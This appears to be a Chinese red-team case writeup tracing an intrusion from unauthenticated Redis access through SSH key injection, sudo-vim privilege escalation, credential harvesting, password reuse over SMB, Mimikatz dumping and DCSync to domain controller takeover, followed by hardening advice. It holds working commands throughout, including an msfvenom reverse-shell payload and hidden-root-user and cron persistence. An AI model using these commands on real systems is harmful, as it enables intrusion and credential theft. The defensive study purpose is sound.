从Redis未授权访问到域控沦陷:一次完整的内网横向渗透实战剖析

发布时间:2026/7/29 13:57:15
从Redis未授权访问到域控沦陷:一次完整的内网横向渗透实战剖析 1. 项目概述一次典型的内网横向渗透之旅最近在复盘一个内部红蓝对抗的案例整个过程从发现一个配置不当的Redis服务开始最终一路打到了核心的域控制器拿下了整个虚拟私有云的内网权限。这个案例非常典型几乎涵盖了从外部入口点到内网横向移动的完整链条而且其中用到的技术和踩过的坑对于理解现代云环境下的攻防对抗很有价值。今天我就把这个过程完整地拆解一遍重点不是教你“攻击”而是让你站在防御者的角度看清楚攻击者是如何思考、如何一步步突破的从而知道该在哪里加固你的防线。这次实战的目标环境是一个典型的业务VPC对外只开放了必要的Web端口。攻击的起点是一个意外暴露在公网、且未设置密码的Redis服务。很多人可能觉得Redis没设密码不算什么大问题毕竟它通常在内网。但一旦因为配置疏忽被放到了公网它就成了一个绝佳的跳板。整个渗透路径可以概括为公网Redis未授权访问 - 利用Redis写入SSH公钥获取Shell - 信息收集发现当前主机角色 - 通过凭证窃取与密码复用进入更多主机 - 利用域内漏洞提升权限并最终控制域控。下面我们就按照这个逻辑一步步拆解其中的技术细节、工具选择和那些容易被忽略的“坑”。2. 攻击链第一步脆弱的入口点Redis2.1 Redis未授权访问漏洞的利用原理Redis默认监听6379端口且在没有配置requirepass参数或bind限制的情况下会允许任何客户端直接连接并执行命令这就是所谓的“未授权访问”。攻击者连接后可以执行任意操作包括写入文件。在Linux系统上Redis通常以某个用户身份如redis运行这个用户对Redis的数据目录如/var/lib/redis和配置文件有写权限。我们的核心思路就是利用Redis的持久化机制将恶意内容写入到系统敏感位置。最经典的利用方式有两种写入SSH公钥和写入WebShell如果Redis用户有权访问Web目录。在VPC内网渗透的初期获取一个稳定的、权限可控的Shell是首要目标因此写入SSH公钥是首选。其原理是在攻击者机器上生成一对SSH密钥公钥和私钥然后通过Redis将公钥内容写入到目标服务器Redis运行用户的~/.ssh/authorized_keys文件中。这样攻击者就可以用对应的私钥直接SSH登录到目标服务器身份就是Redis进程的运行用户。注意这种利用方式成功的前提是目标服务器的Redis运行用户的家目录下存在.ssh文件夹并且该authorized_keys文件能被正确读取。有时权限或SELinux可能会造成阻碍。2.2 实操从发现到获取Shell假设我们已经通过端口扫描例如用nmap或masscan发现了target_ip:6379端口开放并且用redis-cli可以无认证连接。第一步在攻击机上生成SSH密钥对ssh-keygen -t rsa -f ./id_rsa_redis这会生成私钥id_rsa_redis和公钥id_rsa_redis.pub。第二步构造Redis命令将公钥写入目标。我们需要先清除Redis当前可能存在的干扰数据然后设置一个键其值为我们的公钥内容需要格式化处理最后通过CONFIG SET命令指定持久化文件路径为authorized_keys并触发保存。# 连接Redis redis-cli -h target_ip # 在Redis交互界面或通过一条命令执行 flushall set rshell \n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8...你的公钥内容...\n\n config set dir /var/lib/redis/.ssh/ # 尝试常见路径或者/home/redis/.ssh/ config set dbfilename authorized_keys save quit这里有几个关键点路径猜测我们需要猜测Redis用户的家目录。常见的可能是/var/lib/redis、/home/redis。.ssh目录可能不存在但Redis的save命令会创建文件却不会创建目录。所以如果目录不存在写入会失败。一个变通的方法是如果目标有Web服务且Redis用户可写可以先尝试写入Web目录的Plan B。公钥格式在公钥内容前后加上换行符\n\n是为了避免与Redis的RDB文件格式冲突确保公钥能被独立、正确地解析。第三步尝试SSH连接ssh -i id_rsa_redis redistarget_ip如果成功我们就获得了第一个立足点。登录后立即进行基本的系统信息收集id,whoami,sudo -l,cat /etc/passwd,hostname,ifconfig或ip addr以及查看当前网络连接netstat -antp。这些信息将为后续的横向移动提供方向。3. 立足点加固与内网信息收集3.1 权限维持与隐蔽通道建立通过SSH公钥登录虽然方便但过于显眼容易被日志发现/var/log/auth.log。因此进入之后的第一件事是建立更隐蔽的权限维持方式。常见的方法有安装后门/Webshell如果主机有Web服务可以上传一个一句话木马或功能完整的Webshell作为备用通道。创建隐藏用户在/etc/passwd中添加一个UID为0root权限但用户名看起来像系统用户的账号如syslogd。SSH AuthorizedKeysCommand后门修改SSH配置将AuthorizedKeysCommand指向一个我们控制的脚本这样任何登录尝试都会执行我们的脚本。Cron定时任务添加一个定时任务定期向我们的C2服务器发起反向连接。在这个案例中为了保持稳定和低权限操作避免过早触发告警我选择了添加一个cron任务每5分钟尝试连接一次内网中一台已被我们控制的“跳板机”通过其他途径获得。同时我会使用msfvenom生成一个Linux下的Meterpreter反向TCP载荷上传并执行以获得一个功能更全的会话。# 在攻击机生成载荷 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOSTjumpbox_ip LPORT4444 -f elf -o payload.elf # 通过Redis写入文件需要分块这里简化实际可用curl从外网下载 # 或者更简单在获得Shell后用wget直接从攻击机下载 scp -i id_rsa_redis payload.elf redistarget_ip:/tmp/.cache/ ssh -i id_rsa_redis redistarget_ip chmod x /tmp/.cache/payload.elf /tmp/.cache/payload.elf 3.2 网络拓扑与资产发现拿到Shell后我们需要摸清所处的网络环境。首先查看IP地址ip addr show发现内网网段是172.16.10.0/24。当前主机IP是172.16.10.101。接下来进行内网主机发现。由于环境可能没有nmap我们可以用一些原生命令或上传轻量级工具。使用系统自带命令扫描for i in {1..254}; do ping -c 1 -W 1 172.16.10.$i | grep from done这会找出存活主机。但ping可能被禁止。使用上传的轻量工具我更喜欢上传一个静态编译的nmap或masscan。也可以使用/dev/tcp进行端口探测bash环境for port in 22 80 443 3389 445 6379; do timeout 1 bash -c echo /dev/tcp/172.16.10.102/$port 2/dev/null echo 172.16.10.102:$port is open; doneARP缓存查看arp -a可以查看当前主机通信过的邻居有助于发现其他活跃主机。经过扫描发现了以下关键资产172.16.10.101当前Redis服务器Web应用缓存层。172.16.10.102运行着Nginx可能是Web前端服务器。172.16.10.105开放了445和3389端口极有可能是一台Windows服务器。172.16.10.110开放了53DNS、88Kerberos、389LDAP等端口这很可能就是域控制器。至此内网的基本轮廓已经清晰一个包含Linux应用服务器、Windows服务器和域控制器的混合环境。4. 横向移动凭证窃取与密码复用4.1 从Linux服务器挖掘凭证我们的当前权限是redis用户权限较低。首先要尝试提权。检查sudo权限sudo -l发现redis用户可以以root身份运行/usr/bin/vim。这是一个经典的提权点因为Vim可以在编辑器中执行shell命令。sudo vim -c !bash通过这种方式我们获得了root权限。接下来就可以大肆搜集凭证了。1. 查找配置文件Web应用如/var/www/html的配置文件中常包含数据库密码。find /var/www -name *.php -o -name *.yml -o -name *.env | xargs grep -i password\|passwd\|pwd 2/dev/null2. 窃取SSH私钥查找其他用户的.ssh/id_rsa文件。find /home -name id_rsa 2/dev/null find /root -name id_rsa 2/dev/null3. 挖掘历史命令和缓存# 查看当前用户bash历史 cat ~/.bash_history # 查看其他用户历史需要权限 cat /home/*/.bash_history # 查看内存中的密码有时进程环境变量会泄露 ps auxwww | grep -E (pass|PASS|pwd|PWD)4. 转储内存密码可以使用mimipenguin这类工具需上传但更简单的是检查/etc/shadow文件现在已是root虽然密码是哈希值但可以尝试用john或hashcat破解。更重要的是很多应用和服务会将明文或弱加密的密码写在脚本或环境变量里。在这个案例中我们在一个/opt/backup目录下的Shell脚本里发现了用来连接内网另一台MySQL数据库的明文密码DbAdmin2024。同时在/home/webuser/.bash_history中发现了该用户曾用ssh webuser172.16.10.102登录过另一台服务器并且历史记录里没有显示密码可能用了密钥。我们去/home/webuser/.ssh/下果然找到了可用的私钥。4.2 密码复用与协议跳跃拿到密码DbAdmin2024后我们首先要测试密码复用。密码复用是内网横向移动成功率最高的方式之一因为人员和管理习惯会导致多个系统使用相同或相似的密码。1. SSH密码复用尝试用这个密码和常见的用户名如root,admin,ubuntu,deploy等登录其他已发现的Linux主机172.16.10.102。hydra -l root -p DbAdmin2024 ssh://172.16.10.102 -t 4不幸的是SSH登录失败。2. Windows SMB密码复用尝试用这个密码和常见用户名如administrator,admin, 当前域名用户等连接Windows服务器172.16.10.105的445端口。这里使用crackmapexec工具它能高效地进行SMB爆破和凭证验证。# 在攻击机或已控制的跳板机上运行 crackmapexec smb 172.16.10.105 -u administrator -p DbAdmin2024输出显示STATUS_ACCOUNT_LOCKED_OUT或STATUS_LOGON_FAILURE不这次我们走运了返回了Pwn3d!这说明凭证有效并且我们拥有管理员权限3. 利用有效凭证获取Windows Shell有了SMB管理员凭证我们可以使用psexec、wmiexec或smbexec等方式获取一个交互式Shell。这里使用Impacket工具包里的psexec.py。python3 psexec.py administrator:DbAdmin2024172.16.10.105成功我们获得了172.16.10.105这台Windows服务器的SYSTEM权限的Shell。这台服务器被证实是一台应用服务器并且加入了域主机名为APP01域名为CORP.LOCAL。5. 域内信息收集与权限提升5.1 基础域信息收集进入Windows服务器后我们从一个更高的起点开始收集域信息。首先在命令行下执行whoami /all # 查看当前用户权限和所属组 systeminfo # 查看系统信息关注域名 net config workstation # 查看域成员信息 net localgroup administrators # 查看本地管理员组看是否有域用户 net user /domain # 列出所有域用户需要域用户权限 net group /domain # 列出所有域组 net group Domain Admins /domain # 查看域管理员组成员我们发现当前用户是本地管理员但还不是域管理员。域管理员组里有一个用户叫svc_sql看起来是一个服务账户。5.2 凭证窃取进阶内存转储与票据攻击在Windows系统中凭证常驻留在内存中。我们使用Mimikatz来提取凭证。由于防病毒软件可能存在需要做免杀处理或直接使用内存加载的方式。这里我们上传一个免杀的Mimikatz版本到C:\Windows\Temp\并执行。cd C:\Windows\Temp\ mimikatz.exe privilege::debug # 提升权限 sekurlsa::logonpasswords # 抓取内存中的明文密码和哈希运行后我们成功抓取到了多个用户的NTLM哈希甚至包括那个svc_sql服务账户的明文密码这是因为该账户被配置为“可委派”服务账户且系统启用了WDigest导致密码明文缓存在内存中。这是一个致命的安全隐患。拿到svc_sql的密码后我们立即验证其权限runas /user:CORP\svc_sql cmd.exe # 输入密码后打开新的cmd窗口 net group Domain Admins /domain确认svc_sql是Domain Admins组的成员。至此我们已经获得了域管理员权限。5.3 利用域管理员权限控制域控有了域管理员凭证攻击域控制器就变得直接了。域控制器172.16.10.110通常运行着Active Directory服务。我们的目标是完全控制它最彻底的方式是获取其NTDS.dit文件包含所有域用户哈希的数据库和SYSTEM注册表配置单元或者直接获得一个Shell。方法一使用DCSync攻击模拟域控Mimikatz的lsadump::dcsync功能可以模拟域控制器向真正的域控请求指定用户的密码哈希无需登录到域控本身。mimikatz # lsadump::dcsync /domain:CORP.LOCAL /user:Administrator这直接获取了域管理员Administrator的NTLM哈希我们可以用这个哈希进行“哈希传递”攻击访问域控。方法二直接远程执行命令获取Shell使用Impacket的wmiexec.py通过域管理员凭证在域控上执行命令。python3 wmiexec.py CORP/svc_sql:Password123!172.16.10.110成功我们获得了域控制器DC01.CORP.LOCAL的Shell。在这个Shell里我们可以做任何事情创建后门用户、安装木马、导出所有域哈希ntdsutil、查看域策略等。6. 渗透路径总结与防御思考6.1 完整的攻击链条复盘让我们回顾一下这次渗透的完整链条边界突破公网暴露的、未设置认证的Redis服务6379端口。利用Redis未授权写入SSH公钥获取redis用户权限的Shell。立足点提权利用redis用户的sudo权限可无密码以root运行vim提升至root权限。凭证挖掘在文件系统、历史记录、配置文件中搜索发现数据库明文密码DbAdmin2024和另一服务器的SSH私钥。横向移动利用SSH私钥登录172.16.10.102Web服务器。利用挖掘到的密码DbAdmin2024通过SMB协议成功爆破出172.16.10.105Windows应用服务器的本地管理员权限。域内渗透在Windows服务器上利用Mimikatz进行内存凭证转储获取到域服务账户svc_sql的明文密码。验证该账户为域管理员组成员。攻陷域控使用域管理员凭证svc_sql通过WMI远程执行命令直接获取域控制器172.16.10.110的System权限Shell完全控制整个域环境。6.2 从防御视角看加固要点这个案例几乎是一份典型内网失陷的“教科书”。作为防御方可以从每个环节进行加固1. 边界安全最小化暴露面严格审查公网IP和端口映射。像Redis、Memcached、数据库等中间件除非绝对必要否则绝不暴露在公网。使用安全组或防火墙策略严格限制源IP。强认证所有对外服务必须启用强密码认证。Redis设置复杂的requirepass并考虑禁用高危命令CONFIG,FLUSHALL等。网络隔离将不同安全等级的业务划分到不同的VPC或子网并通过网络ACL控制子网间的流量。2. 主机安全最小权限原则应用程序运行账户如redis应遵循最小权限原则禁止其拥有sudo权限或能够执行shell。定期审计sudoers文件。及时更新与补丁确保操作系统和所有软件保持最新状态修复已知漏洞。禁用不必要的服务关闭主机上非必需的服务和端口。3. 凭证安全禁止明文密码严禁在配置文件、脚本、代码中硬编码明文密码。使用安全的密钥管理服务。定期更换密码对服务账户、数据库账户等实施严格的密码更换策略。禁用密码复用通过技术手段强制要求不同系统使用不同密码。监控凭证滥用部署SIEM或日志分析平台监控异常的登录行为如非常用地点、时间、大量失败尝试、哈希传递攻击等。4. 域安全保护高权限账户域管理员账户应仅用于域管理任务日常操作使用普通账户。实施“特权访问工作站”概念。限制服务账户权限避免服务账户被加入高权限组如Domain Admins。使用“组托管服务账户”并限制其委派权限。启用Credential Guard对于Windows 10/Server 2016以上系统启用Credential Guard以防止Mimikatz等工具抓取内存凭证。监控域控活动密切监控域控制器上的事件日志特别是账号管理、登录、特权使用等事件。5. 纵深检测与响应部署EDR/NDR在终端和网络层部署检测与响应工具能够识别可疑的进程行为、网络连接和横向移动模式。建立威胁狩猎团队主动在环境中搜寻上述攻击手法留下的痕迹而非被动等待告警。定期进行红蓝对抗通过模拟攻击来检验和提升整体防御体系的有效性这正是本次复盘的价值所在。这次实战剖析清晰地展示了一个简单的配置错误如何被层层利用最终导致整个网络沦陷。安全是一个整体任何一个环节的短板都可能成为突破口。希望这次详细的拆解能帮助大家更好地理解攻击者的思路从而构建起更坚固的防御阵地。真正的安全始于对每一个细节的敬畏和严谨。